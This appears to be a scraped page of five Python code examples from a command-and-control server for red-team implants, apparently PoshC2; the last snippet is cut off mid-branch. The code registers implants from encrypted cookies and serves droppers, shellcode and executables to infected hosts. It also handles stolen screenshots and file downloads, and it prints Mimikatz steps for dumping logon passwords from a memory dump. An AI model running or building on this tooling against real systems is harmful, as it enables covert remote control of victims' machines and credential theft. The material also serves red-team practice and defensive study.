Exemplo n.º 1
0
def decrypt_and_print(key, encrypted):
    try:
        decrypted = decrypt(key, encrypted)
        print(f"{Colours.GREEN}[+] Success with key {key}\n\t{decrypted}")
        sys.exit(0)
    except Exception:
        print(f"{Colours.RED}[-] Failed decrypt with key: {key}{Colours.END}")
Exemplo n.º 2
0
    def do_GET(self):
        try:
            """Respond to a GET request."""
            response_content_len = None
            response_code = 200
            response_content_type = "text/html"
            response_content = None

            hosted_files = get_hosted_files()

            webserver_log("GET request,\nPath: %s\nHeaders:\n%s\n" % (str(self.path), str(self.headers)))

            self.cookieHeader = self.headers.get('Cookie')
            self.ref = self.headers.get('Referer')

            UriPath = str(self.path)
            sharplist = []
            for hosted_file in sharpurls:
                hosted_file = hosted_file.replace(" ", "")
                hosted_file = hosted_file.replace("\"", "")
                sharplist.append("/" + hosted_file)

            self.server_version = ServerHeader
            self.sys_version = ""
            if not self.cookieHeader:
                self.cookieHeader = "NONE"

            # implant gets a new task
            new_task = newTask(self.path)

            if new_task:
                response_content = new_task

            elif [ele for ele in sharplist if(ele in UriPath)]:
                try:
                    webserver_log("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
                    r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
                    res = urlopen(r)
                    sharpout = res.read()
                    response_content_len = len(sharpout)
                    if (len(sharpout) > 0):
                        response_content = sharpout
                except HTTPError as e:
                    response_code = e.code
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                except Exception as e:
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                    print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
                    response_code = 404
                    HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                    if HTTPResponsePage:
                        response_content = bytes(HTTPResponsePage, "utf-8")
                    else:
                        response_content = bytes(GET_404_Response, "utf-8")

            # dynamically hosted files
            elif [ele for ele in hosted_files if(ele.URI in self.path)]:
                for hosted_file in hosted_files:
                    if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
                        try:
                            response_content = open(hosted_file.FilePath, 'rb').read()
                        except FileNotFoundError as e:
                            print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
                        response_content_type = hosted_file.ContentType
                        if hosted_file.Base64 == "Yes":
                            response_content = base64.b64encode(response_content)

                        # do this for the python dropper only
                        if "_py" in hosted_file.URI:
                            response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
                            response_content = bytes(response_content, "utf-8")

            # register new implant
            elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
                implant_type = "PS"
                if self.path == ("%s?p" % new_implant_url):
                    implant_type = "PS Proxy"
                if self.path == ("%s?d" % new_implant_url):
                    implant_type = "PS Daisy"
                if self.path == ("%s?m" % new_implant_url):
                    implant_type = "Python"
                if self.path == ("%s?d?m" % new_implant_url):
                    implant_type = "Python Daisy"
                if self.path == ("%s?p?m" % new_implant_url):
                    implant_type = "Python Proxy"
                if self.path == ("%s?c" % new_implant_url):
                    implant_type = "C#"
                if self.path == ("%s?d?c" % new_implant_url):
                    implant_type = "C# Daisy"
                if self.path == ("%s?p?c" % new_implant_url):
                    implant_type = "C# Proxy"
                if self.path == ("%s?j" % new_implant_url):
                    implant_type = "JXA"
                if self.path == ("%s?e" % new_implant_url):
                    implant_type = "NativeLinux"
                if self.path == ("%s?p?e" % new_implant_url):
                    implant_type = "NativeLinux Proxy"

                if implant_type.startswith("C#"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    if "\\" in User:
                        User = User[User.index("\\") + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), int(URLID))
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    response_content = encrypt(KEY, newImplant.SharpCore)

                elif implant_type.startswith("Python"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.PythonCore)

                elif implant_type.startswith("JXA"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Hostname, PID, ProcName, URLID = decCookie.split(";")
                    Domain = Hostname
                    URLID = URLID.replace("\x00", "")
                    URLID = URLID.replace("\x07", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.JXACore)

                elif implant_type.startswith("NativeLinux"):
                    ProcName = "Linux Dropper"
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content=encrypt(KEY, newImplant.NativeCore)                    
                else:
                    try:
                        cookieVal = (self.cookieHeader).replace("SessionID=", "")
                        decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                        decCookie = str(decCookie)
                        Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                        URLID = URLID.replace("\x00", "")
                        IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                        if "\\" in str(User):
                            User = User[str(User).index('\\') + 1:]
                        newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                        newImplant.save()
                        newImplant.display()
                        newImplant.autoruns()
                        response_content = encrypt(KEY, newImplant.PSCore)
                    except Exception as e:
                        print("Decryption error: %s" % e)
                        traceback.print_exc()
                        response_code = 404
                        HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                        if HTTPResponsePage:
                            response_content = bytes(HTTPResponsePage, "utf-8")
                        else:
                            response_content = bytes(GET_404_Response, "utf-8")
            else:
                response_code = 404
                HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                if HTTPResponsePage:
                    response_content = bytes(HTTPResponsePage, "utf-8")
                else:

                    response_content = bytes(GET_404_Response, "utf-8")

            # send response
            self.send_response(response_code)
            self.send_header("Content-type", response_content_type)
            if response_content_len is not None:
                self.send_header("Connection", "close")
                self.send_header("Content-Length", response_content_len)
            self.end_headers()

            if response_content is not None:
                self.wfile.write(response_content)

        except Exception as e:
            webserver_log("Error handling GET request: " + str(e))
            webserver_log(traceback.format_exc())
Exemplo n.º 3
0
def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False):
    now = datetime.datetime.now()
    all_implants = DB.get_implants_all()
    if not all_implants:
        print_bad(
            "Received post request but no implants in database... has the project been cleaned but you're using the same URLs?"
        )
        return
    for implant in all_implants:
        implantID = implant.ImplantID
        RandomURI = implant.RandomURI
        Hostname = implant.Hostname
        encKey = implant.Key
        Domain = implant.Domain
        User = implant.User
        if RandomURI in uriPath and cookieVal:
            DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                       RandomURI)
            decCookie = decrypt(encKey, cookieVal)
            rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
            if decCookie.startswith("Error"):
                print(Colours.RED)
                print("The multicmd errored: ")
                print(rawoutput)
                print(Colours.GREEN)
                return

            cookieMsg = ""
            if "-" in decCookie:
                decCookie = decCookie.strip('\x00')
                splt = decCookie.split("-")
                if not splt[0].isdigit():
                    print(Colours.RED +
                          "[!] Cookie %s is invalid" % decCookie +
                          Colours.GREEN)
                    return
                else:
                    taskId = str(int(splt[0]))
                    cookieMsg = splt[1]
            else:
                taskId = str(int(decCookie.strip('\x00')))
            taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
            if taskId != "99999":
                executedCmd = DB.get_cmd_from_task_id(taskId)
                task_owner = DB.get_task_owner(taskId)
            else:
                print(Colours.END)
                timenow = now.strftime("%Y-%m-%d %H:%M:%S")
                print(
                    f"Background task against implant {implantID} on host {Domain}\\{User} @ {Hostname} ({timenow}) (output appended to %sbackground-data.txt)"
                    % ReportsDirectory)
                print(Colours.GREEN)
                print(rawoutput)
                miscData = open(("%sbackground-data.txt" % ReportsDirectory),
                                "a+")
                miscData.write(rawoutput)
                return
            print(Colours.GREEN)
            if task_owner is not None:
                print(
                    "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)"
                    % (taskIdStr, task_owner, implantID, Domain, User,
                       Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
            else:
                print(
                    "Task %s returned against implant %s on host %s\\%s @ %s (%s)"
                    % (taskIdStr, implantID, Domain, User, Hostname,
                       now.strftime("%Y-%m-%d %H:%M:%S")))
            try:
                outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
                outputParsed = outputParsed.rstrip()
            except Exception:
                pass
            if cookieMsg is not None and cookieMsg.lower().startswith(
                    "pwrstatusmsg"):
                translate_power_status(outputParsed, RandomURI)
                return
            if "loadmodule" in executedCmd and len(outputParsed.split()) == 0:
                print("Module loaded successfully")
                DB.update_task(taskId, "Module loaded successfully")
            elif "pbind-connect " in executedCmd and "PBind-Connected" in outputParsed or "PBind PBind start" in executedCmd and "PBind-Connected" in outputParsed:
                outputParsed = re.search("PBind-Connected:.*", outputParsed)
                outputParsed = outputParsed[0].replace("PBind-Connected: ", "")
                Domain, User, Hostname, Arch, PID, Proxy = str(
                    outputParsed).split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]

                PivotString = "C# PBind"
                if "pbind-command run-exe PBind PBind start" in executedCmd:
                    PivotString = "C# PBind Pivot"

                newImplant = Implant(implantID, PivotString, str(Domain),
                                     str(User), str(Hostname), Arch, PID, None)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                if "pbind-command run-exe PBind PBind start" in executedCmd:
                    DB.new_task("pbind-pivot-loadmodule Stage2-Core.exe",
                                "autoruns", RandomURI)
                else:
                    DB.new_task("pbind-loadmodule Stage2-Core.exe", "autoruns",
                                RandomURI)

            elif "fcomm-connect " in executedCmd and "FComm-Connected" in outputParsed:
                outputParsed = re.search("FComm-Connected:.*", outputParsed)
                outputParsed = outputParsed[0].replace("FComm-Connected: ", "")
                Domain, User, Hostname, Arch, PID, Proxy = str(
                    outputParsed).split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]
                newImplant = Implant(implantID, "C# FComm", str(Domain),
                                     str(User), str(Hostname), Arch, PID, None)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                DB.new_task("fcomm-loadmodule Stage2-Core.exe", "autoruns",
                            RandomURI)
            elif executedCmd.lower().startswith("beacon "):
                new_sleep = executedCmd.replace('beacon ', '').strip()
                DB.update_sleep(new_sleep, RandomURI)
            elif "get-screenshot" in executedCmd.lower():
                try:
                    decoded = base64.b64decode(outputParsed)
                    filename = implant.User + "-" + now.strftime(
                        "%m%d%Y%H%M%S_" + randomuri())
                    output_file = open(
                        '%s%s.png' % (DownloadsDirectory, filename), 'wb')
                    print("Screenshot captured: %s%s.png" %
                          (DownloadsDirectory, filename))
                    DB.update_task(
                        taskId, "Screenshot captured: %s%s.png" %
                        (DownloadsDirectory, filename))
                    output_file.write(decoded)
                    output_file.close()
                except Exception:
                    DB.update_task(
                        taskId,
                        "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                    )
                    print(
                        "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                    )
            elif (executedCmd.lower().startswith("$shellcode64")) or (
                    executedCmd.lower().startswith("$shellcode64")):
                DB.update_task(taskId, "Upload shellcode complete")
                print("Upload shellcode complete")
            elif (executedCmd.lower().startswith(
                    "run-exe core.program core inject-shellcode"
            )) or (executedCmd.lower().startswith(
                    "pbind-command run-exe core.program core inject-shellcode"
            )) or (executedCmd.lower().startswith(
                    "pbind-pivot-command run-exe core.program core inject-shellcode"
            )):
                DB.update_task(taskId, "Upload shellcode complete")
                print(outputParsed)
            elif "download-file" in executedCmd.lower():
                try:
                    filename = executedCmd.lower().replace(
                        "download-files ", "")
                    filename = filename.replace("download-file ", "")
                    filename = filename.replace("-source ", "")
                    filename = filename.replace("..", "")
                    filename = filename.replace("'", "")
                    filename = filename.replace('"', "")
                    filename = filename.replace("\\", "/")
                    directory, filename = filename.rsplit('/', 1)
                    filename = filename.rstrip('\x00')
                    original_filename = filename.strip()

                    if not original_filename:
                        directory = directory.rstrip('\x00')
                        directory = directory.replace("/", "_").replace(
                            "\\", "_").strip()
                        original_filename = directory

                    try:
                        if rawoutput.startswith("Error"):
                            print("Error downloading file: ")
                            print(rawoutput)
                            break
                        chunkNumber = rawoutput[:5]
                        totalChunks = rawoutput[5:10]
                    except Exception:
                        chunkNumber = rawoutput[:5].decode("utf-8")
                        totalChunks = rawoutput[5:10].decode("utf-8")

                    if (chunkNumber == "00001") and os.path.isfile(
                            '%s%s' % (DownloadsDirectory, filename)):
                        counter = 1
                        while (os.path.isfile('%s%s' %
                                              (DownloadsDirectory, filename))):
                            if '.' in filename:
                                filename = original_filename[:original_filename
                                                             .rfind(
                                                                 '.'
                                                             )] + '-' + str(
                                                                 counter
                                                             ) + original_filename[
                                                                 original_filename
                                                                 .rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(
                                    counter)
                            counter += 1
                    if (chunkNumber != "00001"):
                        counter = 1
                        if not os.path.isfile('%s%s' %
                                              (DownloadsDirectory, filename)):
                            print(
                                "Error trying to download part of a file to a file that does not exist: %s"
                                % filename)
                        while (os.path.isfile('%s%s' %
                                              (DownloadsDirectory, filename))):
                            # First find the 'next' file would be downloaded to
                            if '.' in filename:
                                filename = original_filename[:original_filename
                                                             .rfind(
                                                                 '.'
                                                             )] + '-' + str(
                                                                 counter
                                                             ) + original_filename[
                                                                 original_filename
                                                                 .rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(
                                    counter)
                            counter += 1
                        if counter != 2:
                            # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
                            if '.' in filename:
                                filename = original_filename[:original_filename
                                                             .rfind(
                                                                 '.'
                                                             )] + '-' + str(
                                                                 counter - 2
                                                             ) + original_filename[
                                                                 original_filename
                                                                 .rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(
                                    counter - 2)
                        else:
                            filename = original_filename
                    print("Download file part %s of %s to: %s" %
                          (chunkNumber, totalChunks, filename))
                    DB.update_task(
                        taskId, "Download file part %s of %s to: %s" %
                        (chunkNumber, totalChunks, filename))
                    output_file = open('%s%s' % (DownloadsDirectory, filename),
                                       'ab')
                    try:
                        output_file.write(rawoutput[10:])
                    except Exception:
                        output_file.write(rawoutput[10:].encode("utf-8"))
                    output_file.close()
                except Exception as e:
                    DB.update_task(taskId, "Error downloading file %s " % e)
                    print("Error downloading file %s " % e)
                    traceback.print_exc()

            elif "safetydump" in executedCmd.lower():
                rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
                if rawoutput.startswith("[-]") or rawoutput.startswith(
                        "ErrorCmd"):
                    DB.update_task(taskId, rawoutput)
                    print(rawoutput)
                else:
                    dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
                    dumppath = "%s%s" % (DownloadsDirectory, dumpname)
                    open(dumppath, 'w').write(rawoutput)
                    message = "Dump written to: %s" % dumppath
                    message = message + "\n The base64 blob needs decoding, e.g. on Windows to use Mimikatz:"
                    message = message + "\n     $filename = '.\\%s'" % dumpname
                    message = message + "\n     $b64 = Get-Content $filename"
                    message = message + "\n     $bytes = [System.Convert]::FromBase64String($b64)"
                    message = message + "\n     [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + '\\safetydump.dmp', $bytes)"
                    message = message + "\n     ./mimikatz.exe"
                    message = message + "\n     sekurlsa::minidump safetydump.dmp"
                    message = message + "\n     sekurlsa::logonpasswords"
                    message = message + "\nOr to just decode on Linux:"
                    message = message + f"\n     base64 -id {dumpname} > dump.bin"
                    DB.update_task(taskId, message)
                    print(message)

            elif (executedCmd.lower().startswith("run-exe safetykatz")
                  or "invoke-mimikatz" in executedCmd
                  or executedCmd.lower().startswith("pbind-")
                  or executedCmd.lower().startswith("fcomm-command")
                  or executedCmd.lower().startswith("run-dll sharpsploit")
                  ) and "logonpasswords" in outputParsed.lower():
                print("Parsing Mimikatz Output")
                DB.update_task(taskId, outputParsed)
                process_mimikatz(outputParsed)
                print(Colours.GREEN)
                print(outputParsed + Colours.END)

            else:
                DB.update_task(taskId, outputParsed)
                print(Colours.GREEN)
                print(outputParsed + Colours.END)
Exemplo n.º 4
0
    def do_GET(self):
        try:
            """Respond to a GET request."""
            logging.info("GET request,\nPath: %s\nHeaders:\n%s\n",
                         str(self.path), str(self.headers))
            new_implant_url = get_newimplanturl()
            self.cookieHeader = self.headers.get('Cookie')
            self.ref = self.headers.get('Referer')
            QuickCommandURI = select_item("QuickCommand", "C2Server")
            UriPath = str(self.path)
            sharpurls = get_sharpurls().split(",")
            sharplist = []
            for i in sharpurls:
                i = i.replace(" ", "")
                i = i.replace("\"", "")
                sharplist.append("/" + i)

            self.server_version = ServerHeader
            self.sys_version = ""
            if not self.cookieHeader:
                self.cookieHeader = "NONE"

            # implant gets a new task
            new_task = newTask(self.path)

            if new_task:
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(new_task)

            elif [ele for ele in sharplist if (ele in UriPath)]:
                try:
                    open("%swebserver.log" % PoshProjectDirectory, "a").write(
                        "%s - [%s] Making GET connection to SharpSocks %s%s\r\n"
                        % (self.address_string(), self.log_date_time_string(),
                           SocksHost, UriPath))
                    r = Request("%s%s" % (SocksHost, UriPath),
                                headers={
                                    'Accept-Encoding': 'gzip',
                                    'Cookie': '%s' % self.cookieHeader,
                                    'User-Agent': UserAgent
                                })
                    res = urlopen(r)
                    sharpout = res.read()
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.send_header("Connection", "close")
                    self.send_header("Content-Length", len(sharpout))
                    self.end_headers()
                    if (len(sharpout) > 0):
                        self.wfile.write(sharpout)
                except HTTPError as e:
                    self.send_response(e.code)
                    self.send_header("Content-type", "text/html")
                    self.send_header("Connection", "close")
                    self.end_headers()
                    open("%swebserver.log" % PoshProjectDirectory, "a").write(
                        "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                        % (SocksHost, UriPath, traceback.format_exc()))
                    open("%swebserver.log" % PoshProjectDirectory,
                         "a").write("[-] SharpSocks  %s\r\n" % e)
                except Exception as e:
                    open("%swebserver.log" % PoshProjectDirectory, "a").write(
                        "[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n"
                        % (SocksHost, UriPath, traceback.format_exc()))
                    open("%swebserver.log" % PoshProjectDirectory,
                         "a").write("[-] SharpSocks  %s\r\n" % e)
                    print(
                        Colours.RED +
                        "Error with SharpSocks or old implant connection - is SharpSocks running"
                        + Colours.END)
                    print(Colours.RED + UriPath + Colours.END)
                    self.send_response(404)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    HTTPResponsePage = select_item("GET_404_Response",
                                                   "C2Server")
                    if HTTPResponsePage:
                        self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                    else:
                        self.wfile.write(bytes(GET_404_Response, "utf-8"))

            elif ("%s_bs" % QuickCommandURI) in self.path:
                filename = "%spayload.bat" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_rp" % QuickCommandURI) in self.path:
                filename = "%spayload.txt" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = base64.b64encode(f.read())
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_rg" % QuickCommandURI) in self.path:
                filename = "%srg_sct.xml" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%ss/86/portal" % QuickCommandURI) in self.path:
                filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%ss/64/portal" % QuickCommandURI) in self.path:
                filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%sp/86/portal" % QuickCommandURI) in self.path:
                filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%sp/64/portal" % QuickCommandURI) in self.path:
                filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                content = base64.b64encode(content)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_cs" % QuickCommandURI) in self.path:
                filename = "%scs_sct.xml" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_py" % QuickCommandURI) in self.path:
                filename = "%saes.py" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                    content = "a" + "".join("{:02x}".format(c)
                                            for c in content)
                self.send_response(200)
                self.send_header("Content-type", "text/plain")
                self.end_headers()
                self.wfile.write(bytes(content, "utf-8"))

            elif ("%s_ex86" % QuickCommandURI) in self.path:
                filename = "%sPosh32.exe" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "application/x-msdownload")
                self.end_headers()
                self.wfile.write(content)

            elif ("%s_ex64" % QuickCommandURI) in self.path:
                filename = "%sPosh64.exe" % (PayloadsDirectory)
                with open(filename, 'rb') as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-type", "application/x-msdownload")
                self.end_headers()
                self.wfile.write(content)

            # register new implant
            elif new_implant_url in self.path and self.cookieHeader.startswith(
                    "SessionID"):
                implant_type = "PS"
                if self.path == ("%s?p" % new_implant_url):
                    implant_type = "PS Proxy"
                if self.path == ("%s?d" % new_implant_url):
                    implant_type = "PS Daisy"
                if self.path == ("%s?m" % new_implant_url):
                    implant_type = "Python"
                if self.path == ("%s?d?m" % new_implant_url):
                    implant_type = "Python Daisy"
                if self.path == ("%s?p?m" % new_implant_url):
                    implant_type = "Python Proxy"
                if self.path == ("%s?c" % new_implant_url):
                    implant_type = "C#"
                if self.path == ("%s?d?c" % new_implant_url):
                    implant_type = "C# Daisy"
                if self.path == ("%s?p?c" % new_implant_url):
                    implant_type = "C# Proxy"

                if implant_type.startswith("C#"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0],
                                           self.client_address[1])
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    Proxy = Proxy.replace("\x00", "")
                    if "\\" in User:
                        User = User[User.index("\\") + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain),
                                         str(User), str(Hostname), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.SharpCore)
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(responseVal)

                elif implant_type.startswith("Python"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0],
                                           self.client_address[1])
                    User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    Proxy = Proxy.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain),
                                         str(User), str(Hostname), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    responseVal = encrypt(KEY, newImplant.PythonCore)

                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(responseVal)
                else:
                    try:
                        cookieVal = (self.cookieHeader).replace(
                            "SessionID=", "")
                        decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                        decCookie = str(decCookie)
                        Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                            ";")
                        Proxy = Proxy.replace("\x00", "")
                        IPAddress = "%s:%s" % (self.client_address[0],
                                               self.client_address[1])
                        if "\\" in str(User):
                            User = User[str(User).index('\\') + 1:]
                        newImplant = Implant(IPAddress, implant_type,
                                             str(Domain), str(User),
                                             str(Hostname), Arch, PID, Proxy)
                        newImplant.save()
                        newImplant.display()
                        newImplant.autoruns()
                        responseVal = encrypt(KEY, newImplant.PSCore)
                        self.send_response(200)
                        self.send_header("Content-type", "text/html")
                        self.end_headers()
                        self.wfile.write(responseVal)
                    except Exception as e:
                        print("Decryption error: %s" % e)
                        traceback.print_exc()
                        self.send_response(404)
                        self.send_header("Content-type", "text/html")
                        self.end_headers()
                        HTTPResponsePage = select_item("GET_404_Response",
                                                       "C2Server")
                        if HTTPResponsePage:
                            self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                        else:
                            self.wfile.write(bytes(GET_404_Response, "utf-8"))
            else:
                self.send_response(404)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                if HTTPResponsePage:
                    self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                else:
                    self.wfile.write(bytes(GET_404_Response, "utf-8"))
        except Exception as e:
            if 'broken pipe' not in str(e).lower():
                print_bad("Error handling GET request: " + e)
                traceback.print_exc()
Exemplo n.º 5
0
    def do_POST(self):
        """Respond to a POST request."""
        try:
            self.server_version = ServerHeader
            self.sys_version = ""
            try:
                content_length = int(self.headers['Content-Length'])
            except:
                content_length = 0
            self.cookieHeader = self.headers.get('Cookie')
            try:
                cookieVal = (self.cookieHeader).replace("SessionID=", "")
            except:
                cookieVal = ""
            post_data = self.rfile.read(content_length)
            logging.info(
                "POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data)
            now = datetime.datetime.now()
            result = get_implants_all()
            if not result:
                print_bad(
                    "Received post request but no implants in database... has the project been cleaned but you're using the same URLs?"
                )
                return
            for i in result:
                implantID = i[0]
                RandomURI = i[1]
                Hostname = i[3]
                encKey = i[5]
                Domain = i[11]
                User = i[2]
                if RandomURI in self.path and cookieVal:
                    update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                            RandomURI)
                    decCookie = decrypt(encKey, cookieVal)
                    rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
                    if decCookie.startswith("Error"):
                        print(Colours.RED)
                        print("The multicmd errored: ")
                        print(rawoutput)
                        print(Colours.GREEN)
                        return
                    taskId = str(int(decCookie.strip('\x00')))
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    executedCmd = get_cmd_from_task_id(taskId)
                    task_owner = get_task_owner(taskId)
                    print(Colours.GREEN)
                    if task_owner is not None:
                        print(
                            "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, task_owner, implantID, Domain, User,
                               Hostname, now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s returned against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, implantID, Domain, User, Hostname,
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        outputParsed = re.sub(r'123456(.+?)654321', '',
                                              rawoutput)
                        outputParsed = outputParsed.rstrip()
                    except Exception:
                        pass

                    if "loadmodule" in executedCmd:
                        print("Module loaded successfully")
                        update_task(taskId, "Module loaded successfully")
                    elif executedCmd.lower().startswith("beacon "):
                        new_sleep = executedCmd.replace('beacon ', '').strip()
                        update_sleep(new_sleep, RandomURI)
                    elif "get-screenshot" in executedCmd.lower():
